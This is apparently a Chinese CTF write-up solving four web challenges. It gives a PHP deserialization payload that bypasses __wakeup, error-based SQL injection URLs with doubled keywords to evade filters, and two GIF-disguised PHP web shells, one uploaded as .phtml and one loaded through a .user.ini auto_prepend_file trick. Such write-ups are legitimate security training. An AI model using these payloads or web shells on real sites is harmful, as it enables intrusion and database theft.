PHP
题目提示有备份文件,用扫描工具就能扫出来,得到源码
class.php
<?php
include 'flag.php';
error_reporting(0);
class Name{
private $username = 'nonono';
private $password = 'yesyes';
public function __construct($username,$password){
$this->username = $username;
$this->password = $password;
}
function __wakeup(){
$this->username = 'guest';
}
function __destruct(){
if ($this->password != 100) {
echo "</br>NO!!!hacker!!!</br>";
echo "You name is: ";
echo $this->username;echo "</br>";
echo "You password is: ";
echo $this->password;echo "</br>";
die();
}
if ($this->username === 'admin') {
global $flag;
echo $flag;
}else{
echo "</br>hello my friend~~</br>sorry i can't give you the flag!";
die();
}
}
}
?>
index.php
<?php
include 'class.php';
$select = $_GET['select'];
$res=unserialize(@$select);
?>
根据源码,只要满足username=admin,password=100且绕过__wakeup()
方法就可以得到flag
先序列化name类
<?php
class Name{
private $username = 'admin';
private $password = '100';
}
$name=new Name();
echo urlencode(serialize($name));
//这里有个小坑,如果不加urlencode有些不可打印字符会显示不出来
?>
O:4:"Name":2:{s:14:"Nameusername";s:5:"admin";s:14:"Namepassword";s:3:"100";}//(未经过urlencode编码的payload)
绕过__wakeup()
方法:
在反序列化字符串时,属性个数的值大于实际属性个数时,会跳过__wakeup()
方法的执行
O%3A4%3A%22Name%22%3A3%3A%7Bs%3A14%3A%22%00Name%00username%22%3Bs%3A5%3A%22admin%22%3Bs%3A14%3A%22%00Name%00password%22%3Bs%3A3%3A%22100%22%3B%7D
Babysql
sql注入,经过测试,过滤了很多关键字,不过双写就可以轻松绕过
先进入check界面,判断出是单引号闭合
然后我这里用的报错注入
爆库名
?username=admin%27 ununionion selselectect+updatexml('1',concat('~',(selselectect database())),'1')%23&password=123
爆表名
?username=admin%27 ununionion selselectect+updatexml('1',concat('~',(selselectect group_concat(table_name) frfromom infoorrmation_schema.tables whwhereere table_schema='geek' )),'1')%23&password=password
爆字段
?username=admin%27 ununionion selselectect+updatexml('1',concat('~',(selselectect group_concat(column_name) frfromom infoorrmation_schema.columns whwhereere table_name='b4bsql' )),'1')%23&password=123
爆值,flag在password里的id=8时对应的位置
?username=admin%27 ununionion selselectect+updatexml('1',concat('~',(selselectect passwoorrd frfromom b4bsql limit 7,1 )),'1')%23&password=123
但是这里由于回显限长,所以没有显示完整的flag,可以right函数截取后半部分然后显示出来
?username=admin%27 uniunionon seselectlect updatexml('1',concat('~',right((selselectect passwoorrd frfromom b4bsql limit 7,1),20)),'1')%23&password=123
Upload
文件上传,不仅检测内容,而且检测后缀
文件头必须gif的文件头,而且内容中还不能有
<?`,后缀php,php3,php4,php5,html,phtml,pht中只有phtml上传成功且可用,html和pht虽然能上传成功但不可用。
GIF89a
<script language="php">eval($_POST["cmd"]);</script>
这里GIF89a
是gif的文件头,这题只能上传gif文件,所以这里只能用gif的文件头
然后再抓包修改文件后缀为.phtml
上传的文件在/upload目录下,最后用蚁剑一连就完事了
CheckIn
这道题主要涉及了利用.user.ini上传\隐藏后门的知识
使用的条件如下:
1、服务器脚本语言为PHP
2、服务器使用CGI/FastCGI模式
3、上传目录下要有可执行的php文件
先上传.user.ini绕过黑名单检验
GIF89a //绕过exif_imagetype()
auto_prepend_file=a.gif //指定在主文件之前自动解析的文件的名称,并包含该文件,就像使用require函数调用它一样。
auto_append_file=a. //解析后进行包含
再上传a.gif
GIF89a
<script language="php">@eval($_REQUEST['cmd']);</script>
这种上传姿势所需要的前提条件是含有.user.ini的文件夹下需要有正常的php文件,再在.user.ini文件里包含我们上传的图片马,最后访问正常的php文件,php文件就会包含并执行我们的图片马
最后用蚁剑一连又完事了